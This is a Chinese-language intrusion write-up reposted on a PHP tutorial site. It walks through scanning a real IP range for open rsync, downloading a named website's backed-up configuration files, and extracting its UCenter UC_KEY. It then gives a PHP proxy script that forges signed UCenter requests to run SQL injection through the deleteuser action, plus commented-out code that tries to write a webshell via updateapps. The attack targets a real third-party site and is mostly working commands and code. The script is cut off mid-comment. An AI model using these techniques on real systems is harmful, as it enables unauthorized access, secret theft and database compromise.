来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 看到rsync的这个文章http://www.2cto.com/Article/201307/226273.html,随便找了一个试试手,还涉及UC_KEY利用,中转脚本等思想。www.fumu.comip 210.14.136.87按照文章给出的教程利用命令扫C段的rsync试下...
|
看到rsync的这个文章 http://www.2cto.com/Article/201307/226273.html ,
随便找了一个试试手,还涉及UC_KEY利用,中转脚本等思想。
www.fumu.com ip 210.14.136.87
按照文章给出的教程利用命令扫C段的rsync试下
nmap -n --open -p 873 210.14.136.1-255
![]() 当我连接到93服务器时惊喜来了:
rsync 210.14.136.93::
![]() 主站就是用的phpcms,这里的phpcms模块应该就是备份的主站代码。
而bak目录貌似下备份了所有代码
查看一下:
rsync 210.14.136.93::bak
存在很多目录
![]() 找到bbs下的UC_KEY
rsync 210.14.136.93::bak/newbbs/config/
存在uc,找到data目录下的config.inc.php
同步下来看看内容:
rsync -vzrtopg --progress 210.14.136.93::bak/uc/data/config.inc.php /Users/test/fumubak
rsync -vzrtopg --progress 210.14.136.93::bak/newbbs/config/config_ucenter.php /Users/test/fumubak/
打开本地fumubak目录里的config_ucenter.php文件,找到UC_KEY。
利用UC_KEY里面的函数都可以直接调用了,看下uc.php里的函数:
rsync -vzrtopg --progress 210.14.136.93::bak/newbbs/api/uc.php /Users/test/fumubak/db
看到updateapps写文件,这是要写shell的漏洞啊,测了半天忽略了var_export函数,转义了单引号,无法截断。。。。。。
![]() 同时也有有synlogin可以设置cookie,已管理员的身份登录,但是dz进入后台需要再输入一遍密码无法进到后台。
最后发现deleteuser那里有个sql注入,同样利用http://drops.wooyun.org/tips/125思路。
把牛奶坦克那个脚本改一下做个代理方便注入:
<?php
error_reporting(0);
$host = "bbs.fumu.com";
//$doing = $argv[2];
$time = time()+10*3600;
$getshell = 0;
// if ($doing == 'login') {
// // synlogin ,不过只登陆第一个admin帐户,如果uid1不是管理员,需要自己手工找下
// $code = 'time='.$time.'&uid=1&username=administrator&action=synlogin';
// } elseif ($doing == 'shell' ) {
// $code = 'time='.$time.'&action=updateapps';
// } elseif ($doing == 'temp' ) {
// $code = 'time='.$time.'&ids=203881) and 1=1&action=deleteuser';
// } else {
// $doing = 'test';
// $code = 'time='.$time.'&action='.$doing;
// }
$sqlin = $_GET['id'];
$sqlin=str_replace(" ","%20",$sqlin);
$sqlin=str_replace("=","%3D",$sqlin);
$code = 'time='.$time."&ids=$sqlin&action=deleteuser";
$uc_key = array(
//'null' => '',
'bbs' => '59XXXXXXXXXXXXXXXX9Ib',
//'www'=>'cf5XXXXXXXXXXXXXXXXXXXqaY2y'
);
foreach ($uc_key as $key => $value) {
$exp = 'api/uc.php?code='.urlencode(authcode($code, "ENCODE", $value));
//echo "http://$host/$exp";
$result = file_get_contents("http://$host/$exp");
print_r($result);
//$status = get_headers("http://$host/$exp");
//if( $result !== 'Authracation has expiried' & strpos($status[0] , '200' ) > 0 ){
//echo $result;
//echo "[+] UC_KEY '$key' can use .\r\n";
//echo "[*] EXP = $exp \r\n";
/*
if ( $getshell == 1 ) { //Get shell
echo "[+]Getshell...\r\n";
$cmd = array(
'one' =>
'<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="appid">123\');phpinfo();//</item>
</root>'
);
foreach ($cmd as $key => $value) {
$res = send($host,$exp,$value);
}
$getshell = 0;
}
print("[+]Try to
http://$host/member/api/client/data/cache/apps.php
or
http://$host/uc_client/data/cache/apps.php\r\n");
*/
/
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com